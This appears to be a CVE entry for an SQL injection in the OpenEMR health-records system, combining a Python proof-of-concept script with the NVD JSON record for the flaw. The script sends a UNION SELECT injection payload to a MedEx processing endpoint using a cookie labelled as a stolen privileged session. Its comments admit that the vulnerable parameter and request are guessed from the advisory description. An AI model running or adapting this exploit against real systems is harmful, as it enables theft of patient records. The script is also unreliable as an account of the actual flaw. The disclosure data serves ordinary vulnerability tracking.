CVE-2026-33909

import requests # Target URL for the vulnerable MedEx processing endpoint (example) target_url = "http://target-openemr.com/interface/main/medex/processing_script.php" session_cookie = "PHPSESSID=attacker_stolen_high_priv_session_id" # Malicious payload to extract database version (SQL Injection) # Based on the description that variables are concatenated directly. payload = "1' UNION SELECT 1, version(), 3, 4-- -" data = { "recall_id": payload, # Example vulnerable parameter "action": "process" } headers = { "Cookie": session_cookie } try: response = requests.post(target_url, data=data, headers=headers) if response.status_code == 200: print("PoC executed successfully. Check response for DB version.") print(response.text[:500]) except Exception as e: print(f"Error: {e}")

{"cve": {"id": "CVE-2026-33909", "sourceIdentifier": "[email protected]", "published": "2026-03-25T23:17:10.007", "lastModified": "2026-03-26T18:02:01.233", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenEMR is a free and open source electronic health records and medical practice management application. Prior to version 8.0.0.3, several variables in the MedEx recall/reminder processing code are concatenated directly into SQL queries without parameterization or type casting, enabling SQL injection. Version 8.0.0.3 contains a patch."}, {"lang": "es", "value": "OpenEMR es una aplicación gratuita y de código abierto para la gestión de registros médicos electrónicos y la práctica médica. Antes de la versión 8.0.0.3, varias variables en el código de procesamiento de recordatorios/recuperación de MedEx se concatenan directamente en consultas SQL sin parametrización ni conversión de tipos, lo que permite la inyección SQL. La versión 8.0.0.3 contiene un parche."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:N", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 0.7, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:open-emr:openemr:*:*:*:*:*:*:*:*", "versionEndExcluding": "8.0.0.3", "matchCriteriaId": "E3E098AF-42A1-4798-85A7-80052F19F809"}]}]}], "references": [{"url": "https://github.com/openemr/openemr/commit/3d11d2fc1622147d4aa6fbca31a471e7402ffc65", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/openemr/openemr/releases/tag/v8_0_0_3", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/openemr/openemr/security/advisories/GHSA-6vx2-w9hw-prqj", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}